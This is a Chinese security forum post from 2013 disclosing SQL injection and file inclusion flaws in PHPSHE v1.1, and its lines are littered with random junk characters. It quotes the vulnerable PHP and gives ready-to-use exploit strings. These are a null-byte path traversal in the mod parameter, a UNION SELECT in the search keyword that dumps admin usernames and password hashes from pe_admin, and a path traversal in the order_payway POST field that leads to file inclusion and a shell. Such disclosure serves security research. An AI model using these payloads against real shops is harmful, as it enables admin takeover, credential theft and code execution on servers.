找回密码
 立即注册
查看: 3247|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/* y7 y" r, ~& ]: `, J5 n9 y
/* Phpshe v1.1 Vulnerability" X4 R( @- b6 K
/* ========================1 C& V( `) c2 `, p- i, |  u5 s1 ]  \$ L  F
/* By: : Kn1f3
* O5 ?) {  S  t8 c; C/* E-Mail : 681796@qq.com
4 I+ z2 \& o8 b  o' w/*******************************************************/
/ N) R- _  M8 s' G( X/ ~5 ]6 N0×00 整体大概参数传输, V: [* |) y) o& B# I& O
* H3 c6 A' G- S$ k& I; e8 q9 Z

0 ~7 h1 b7 b$ W7 \+ l$ y( {
) ~2 e% @9 D# ]3 i" N2 P
//common.php
* b% _. f/ m' q5 Y* Z8 `if (get_magic_quotes_gpc()) {
  C& x- h$ s7 o) n' ]- ~- J3 H!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
1 M# L- P3 H2 w, J& [( e!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
4 j! x0 _/ e8 t9 a) M6 U7 h1 _' f}8 q2 C$ [* ]. m+ k% g
else {
" K- {+ B. ?% i: A!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');8 k' h6 N5 Y* R2 n4 B
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');# z9 L6 t$ `2 R5 h( ~$ E
}5 [2 j1 k' v) J8 y& A9 \: c* \
session_start();! k- @3 x# ?$ j& @9 l
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
% [/ h2 ~* N& @9 Q, J& }. D!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');: m: z; P) b8 _8 X" ~

8 e# k8 O/ T0 r2 P/ ]7 W0×01 包含漏洞7 V( ?1 c3 l: ~5 G+ K* z& t

! J# h0 c" D9 ?

. q- q6 J: v" A& ]/ G  r  n2 ]//首页文件
- q$ F7 |6 `& [9 X' f% L<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
3 A  h2 E4 g4 m6 E0 S8 j( E6 E6 tinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
2 h  b+ s" [1 l! Vpe_result();
1 i3 \4 K2 M* v1 F?>
) f6 i+ b+ K9 L0 Z9 t! [//common 文件 第15行开始/ R0 R6 M1 H; I# W- o8 \5 Z
url路由配置
, c& r# f* |5 i7 b$module = $mod = $act = 'index';
' V# E2 d8 ^$ o; \  p" _$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);1 D# Q; _2 O. i4 g7 T" ?
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);4 _5 y" q3 \/ d& B2 q- M- |
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);0 y; b  g4 T% t6 ~- L/ E
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00# L" s- f: }* R9 `' s9 q

2 @6 R- |3 E1 f; \& V5 B

. E- G6 [  X5 K& | 0×02 搜索注入/ c0 i- C# H7 x/ Q& d4 Z
0 F/ G( ]$ [* A* O7 L( i& C: @
<code id="code2">

//product.php文件
$ S: p; b6 Y/ G7 ~4 v! Bcase 'list':
; e8 C% p& a4 Q$category_id = intval($id);- t1 y" Q4 U1 ~5 o6 i- ^
$info = $db->pe_select('category', array('category_id'=>$category_id));
) G9 e% Z* e3 ]8 {, i' o//搜索
: M5 |3 N/ }& e" `$sqlwhere = " and `product_state` = 1";
' u: `4 R; J. n4 ?2 {* Gpe_lead('hook/category.hook.php');5 c7 a9 {* v4 T0 d. i  T6 J
if ($category_id) {8 n; G6 @; }" h( K* Q: f9 d7 A6 w
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
6 m! N( U5 J' @% E5 b}6 S' p$ g1 o( d. A% t
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
. [# _$ ]* L- n( g) ?if ($_g_orderby) {4 {: K# C' P/ w7 O2 S2 _
$orderby = explode('_', $_g_orderby);
6 ~4 @& N: f/ z" B- w$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
1 _6 ^. [3 }# n}
; O( g% H. B, N2 k1 j$ `* Celse {
. i' Y; h3 e  f7 x  K5 s$sqlwhere .= " order by `product_id` desc";
/ n' f. G) E4 ~* W' q- l7 n. E}3 ]# F& B' `. b
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));9 I/ u' E% E1 H# u/ |
//热卖排行+ b# b  x  x! W8 I
$product_hotlist = product_hotlist();/ Y7 V0 R+ Y& }$ e/ y$ O. B6 ~% [1 M
//当前路径
( e7 z2 @* b/ \& @/ P% c, q+ h9 |9 [0 T$nowpath = category_path($category_id);" u" k/ l" d6 F/ C9 `
$seo = pe_seo($info['category_name']);4 S% b+ A7 u4 ~0 k  G
include(pe_tpl('product_list.html'));
/ U+ \, r; o( O3 l! C6 L//跟进selectall函数库8 _( Y% a# O+ h, O% {3 D2 E
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
- x+ c% }5 T# m. U  y, j. C{
$ y  c) c( x% P, M& o7 Z//处理条件语句' @* ]0 }* H7 ^. U
$sqlwhere = $this->_dowhere($where);+ r  t% i8 f5 q- z; {
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);2 o1 z$ \) e7 p3 O0 t* r1 B% q
}+ q" {7 F' |! y5 |# T. }. {
//exp
+ K1 t) s# G9 ^9 l. q: i8 C  Iproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
2 u# _1 X8 X( T4 \+ ?

</code>
2 B. D' I# z5 E5 z6 ^9 M" C9 Y, Z % e. _% D" v5 g8 g/ t7 v
0×03 包含漏洞2
/ ~6 B/ L4 W( k  Y+ m4 ^
% i1 k5 H# J% {9 {* q<code id="code3">

//order.php

case 'pay':


- f1 Z/ s5 K$ N- y$ _$order_id = pe_dbhold($_g_id);


. e+ e* O/ D, z' L  U( P3 S: K$cache_payway = cache::get('payway');


* Z# S( Y8 A9 ]% [  Zforeach($cache_payway as $k => $v) {


2 T  B7 Y8 O! O& [2 Q$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


  J6 n8 I. b- v! P/ }* H  a- W. Oif ($k == 'bank') {


* s5 y2 ]1 C- M  p) u& ]4 o$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


' d/ P& v4 N. W$ G, \: X) a5 P}

& X/ r  M$ R2 }/ X
}


1 j  F& ?$ x* F: [/ P" L. }  d1 n$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

5 [3 E0 L, G' |
!$order['order_id'] && pe_error('订单号错误...');


6 D9 G* k7 V, O! n/ A- z5 {& Pif (isset($_p_pesubmit)) {

5 T4 D. E, ?! W  p
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

+ P+ G2 l/ ^0 ]& ~0 k! L$ o
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

. ?7 ]4 j! a, ^  d
foreach ($info_list as $v) {


2 v6 V2 j. J5 w: j& Y$order['order_name'] .= "{$v['product_name']};";4 w& p3 H% Q% J2 W


, p. j! N7 L3 X" E9 C& o8 c}

8 M6 @% h2 @& `: H; v6 w
echo '正在为您连接支付网站,请稍后...';


1 B* g  Y5 Y9 F4 l, Xinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


" v4 `4 E; N' g1 c* J3 k7 ~# s' ~}//当一切准备好的时候就可以进行"鸡肋包含了"

+ r' h8 u) f" }: ]9 }0 u# n
else {

. e) ?5 r, n! k# A; d3 [6 S
pe_error('支付错误...');

$ y' [  L/ |2 s
}

: N0 L- H- x8 a2 \: h' ]2 l
}

! |  @3 U- V* J1 k* ~
$seo = pe_seo('选择支付方式');

8 C8 W) ]! _+ v* I8 g
include(pe_tpl('order_pay.html'));

* `; t3 ?- h# R3 ]
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>5 H2 u  ^. z( c) \6 o- ^

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表